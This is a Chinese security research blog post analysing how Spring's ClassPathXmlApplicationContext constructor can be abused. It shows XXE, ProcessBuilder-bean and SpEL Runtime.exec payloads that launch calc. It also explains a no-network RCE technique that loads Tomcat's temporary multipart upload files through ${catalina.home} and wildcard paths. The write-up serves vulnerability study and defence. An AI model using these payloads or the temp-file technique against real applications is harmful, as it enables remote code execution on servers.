ClassPathXmlApplicationContext不出网利用学习

admin 2025年4月14日09:22:09评论1 views字数 2946阅读9分49秒阅读模式
引言
ClassPathXmlApplicationContext单个 String 类型参数的构造函数可实现 RCE ,在 Java 各种漏洞利用中使用广泛。但是这个类和 FileSystemXmlApplicationContext 一样,都需要出网读取 XML 配置文件。当遇到不能出网的情况时,不得不去寻找一些新的方式进行替代。比如 CVE-2023-46604 Apache ActiveMQ  RCE 漏洞在分析过程中找到了一个无需出网的 org.apache.activemq.shiro.env.IniEnvironment 类进行替代。
最近phith0n 大佬公开了一种无需出网即可利用 ClassPathXmlApplicationContext  构造函数实现 RCE 的新利用方式:https://www.leavesongs.com/PENETRATION/springboot-xml-beans-exploit-without-network.html 。
下面将对 ClassPathXmlApplicationContext 能够触发的漏洞类型进行简单总结,然后学习一下这种无需出网的利用方式。
能够触发哪些漏洞

ClassPathXmlApplicationContext 构造函数能够触发多种类型漏洞,比如 XXE 和 RCE ,并且 RCE 还存在不同的构造方式:

1. XXE

<?xml version="1.0" encoding="utf-8" standalone="no" ?><!DOCTYPE pbSYSTEM"http://***"><pb />

ClassPathXmlApplicationContext 会通过 DefaultDocumentLoader 类的函数 loadDocument 加载 XML 文件,没有禁用外部实体解析,存在 XXE 漏洞:

ClassPathXmlApplicationContext不出网利用学习

2. Method Invoke to RCE

<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <beanid="pb"class="java.lang.ProcessBuilder"init-method="start">        <constructor-arg>            <list>                <value>cmd.exe</value>                <value>/c</value>                <value>calc</value>            </list>        </constructor-arg>    </bean></beans>

经过一系列处理后将通过 Method#invoke 反射调用 bean 指定的函数,可以实现命令执行:

ClassPathXmlApplicationContext不出网利用学习

3. SpEL to RCE

<beansxmlns="http://www.springframework.org/schema/beans"xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"       xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">    <beanid="pb"class="#{T(java.lang.Runtime).getRuntime().exec('calc')}">    </bean></beans>

StandardBeanExpressionResolver#evaluate 将对获取的 Bean 进行 SpEL 表达式解析,由于这里使用 StandardEvaluationContext ,所以可以触发 RCE :

ClassPathXmlApplicationContext不出网利用学习
XML配置加载方式

ClassPathXmlApplicationContext 通过 URL.openConnection 来加载 XML 文件,可以支持 http/file/ftp/jar 等:

ClassPathXmlApplicationContext不出网利用学习
那么对输入参数 url 是如何处理和传递过来的的呢?通过调试发现, PathMatchingResourcePatternResolver#getResources 将根据 url 来加载 Resource 资源,除了上面提到的协议,还支持 classpath*: 和 war: 开头的格式。重点注意这里的 isPattern 判断:
ClassPathXmlApplicationContext不出网利用学习

在 isPattern 中,当路径中含有 * 或者 ? 等符号时将返回 true ,此时 Resource 将通过 findPathMatchingResources 函数来获取:

ClassPathXmlApplicationContext不出网利用学习

进入 findPathMatchingResources 函数,内部会提取根目录,然后调用 doRetrieveMatchingFiles 遍历目录下的所有文件进行匹配,最终将符合条件的文件加载到资源集合中:

ClassPathXmlApplicationContext不出网利用学习

因此,ClassPathXmlApplicationContext 除了能够远程加载 XML 之外,还可以通过 * 或者 ? 等通配符,结合函数 findPathMatchingResources 来加载指定目录下的 XML 文件。

Springboot Tomcat 无需出网利用方式

Tomcat 存在文件上传的缓存机制, FileUploadBase#parseRequest 会对任意 multipart 请求进行处理(即使上传接口不存在),将上传的内容进行临时保存,临时文件的存储目录为 Temptomcat.***workTomcatlocalhostROOT ,位于 Tomcat 环境变量 ${catalina.home} 之下:

ClassPathXmlApplicationContext不出网利用学习
ClassPathXmlApplicationContext不出网利用学习

这里 Streams.copy 函数将调用 DiskFileItem#getOutputStream 来获取需要保存的文件对象,其中生成的临时文件名称来自于 getTempFile ,命名规则为随机 uuid 字符串 + getUniqueId 获取的整数 + .tmp :

ClassPathXmlApplicationContext不出网利用学习

那么如何获取文件地址呢?回过头来看 ClassPathXmlApplicationContext  构造函数,会发现其调用了 setConfigLocations ,该函数通过 resolvePath 进行 XML 路径解析,内部存在环境变量解析的过程,因此利用 ${catalina.home} 和通配符可以构造一种较为通用的获取临时文件路径的方法:

ClassPathXmlApplicationContext不出网利用学习
结合通配符可以成功读取到上传的文件,最终实现 RCE 的效果如下:
ClassPathXmlApplicationContext不出网利用学习
文件上传后很快就会被删除,所以这种无法持久保存的临时文件在实际使用中存在一定限制。
由于传播、利用此文档提供的信息而造成任何直接或间接的后果及损害,均由使用本人负责,公众号及文章作者不为此承担任何责任。

原文始发于微信公众号(自在安全):ClassPathXmlApplicationContext不出网利用学习

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月14日09:22:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ClassPathXmlApplicationContext不出网利用学习https://cn-sec.com/archives/3950897.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息